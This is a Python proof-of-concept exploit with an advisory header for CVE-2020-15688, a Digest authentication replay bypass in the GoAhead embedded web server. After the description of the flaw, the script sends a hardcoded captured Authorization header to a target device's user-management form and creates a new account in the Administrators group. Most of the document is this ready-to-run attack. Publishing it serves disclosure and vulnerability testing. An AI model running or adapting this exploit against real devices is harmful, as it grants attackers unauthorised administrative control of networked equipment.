#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# EmbedThis GoAhead Web Server 5.1.1 Digest Authentication Capture Replay Nonce Reuse
#
#
# Vendor: Embedthis Software LLC
# Product web page: https://www.embedthis.com
# Affected version: <=5.1.1 and <=4.1.2
# Fixed version: >=5.1.2 and >=4.1.3
#
# Summary: GoAhead is the world's most popular, tiny embedded web server. It is compact,
# secure and simple to use. GoAhead is deployed in hundreds of millions of devices and is
# ideal for the smallest of embedded devices.
#
# Desc: A security vulnerability affecting GoAhead versions 2 to 5 has been identified when
# using Digest authentication over HTTP. The HTTP Digest Authentication in the GoAhead web
# server does not completely protect against replay attacks. This allows an unauthenticated
# remote attacker to bypass authentication via capture-replay if TLS is not used to protect
# the underlying communication channel. Digest authentication uses a "nonce" value to mitigate
# replay attacks. GoAhead versions 3 to 5 validated the nonce with a fixed duration of 5 minutes
# which permitted short-period replays. This duration is too long for most implementations.
#
# Tested on: GoAhead-http
#            GoAhead-Webs
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2020-5598
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5598.php
#
# CVE ID: CVE-2020-15688
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15688
#          https://nvd.nist.gov/vuln/detail/CVE-2020-15688
#
# CWE ID: CWE-294 Authentication Bypass by Capture-replay
# CWE URL: https://cwe.mitre.org/data/definitions/294.html
# 
# CWE ID: CWE-323: Reusing a Nonce, Key Pair in Encryption
# CWE URL: https://cwe.mitre.org/data/definitions/323.html
#
# GoAhead Security Alerts / Fix:
#  https://github.com/embedthis/goahead-gpl/issues/3
#  https://github.com/embedthis/goahead-gpl/issues/2
#  https://github.com/embedthis/goahead-gpl/commit/fe0662f945bd7e24b8d621929e1b93d8a7f3f08f#diff-0988df549d878c849d7f2c073319bcb2
#
#
# 29.08.2019
#


#
# PoC for a network controller running GoAhead web server.
# Replay Authentication Bypass / Create Admin User
#

import requests
import sys#####

if (len(sys.argv) <= 1):
    print("Usage: ./nen.py <ipaddress>")
    exit(0)

ip = sys.argv[1]

url = "http://"+ip+"/goform/formUserManagementAdd?lang=en"
kolache = {"lang":"en"}

replay  = "Digest username=\"admin\", "
replay += "realm=\"GoAhead\", "
replay += "nonce=\"5fb3ce6dec423bf8b8f0dfc8cf65244d\", "
replay += "uri=\"/goform/formUserManagementAdd?lang=en\", "
replay += "algorithm=MD5, "
replay += "response=\"1c05f4d08aa0cfcc5318882e0fb4e9af\", "
replay += "opaque=\"5ccc069c403ebaf9f0171e9517f40e41\", "
replay += "qop=auth, "
replay += "nc=0000000a, "
replay += "cnonce=\"0649f631320f23bb\""

headers = {"Cache-Control": "max-age=0",
           "Authorization": replay,
           "Content-Type": "application/x-www-form-urlencoded",
           "User-Agent": "NoProxy/NoProblem.251",
           "Accept-Encoding": "gzip, deflate",
           "Accept-Language": "mk-MK;q=0.9,mk;q=0.8",
           "Connection": "close"}

data = {"FormSubmitCause": "button",
        "DefinitionAction": "add",
        "Define_admin_ID": "admin",
        "Define_admin_Name": "admin",
        "Define________Action________ID": '',
        "Define________Action________Name": "testingus",
        "Define________Action________Password": "testingus",
        "Define________Action________Group": "Administrators"}

requests.post(url, headers=headers, cookies=kolache, data=data)

print("Finito")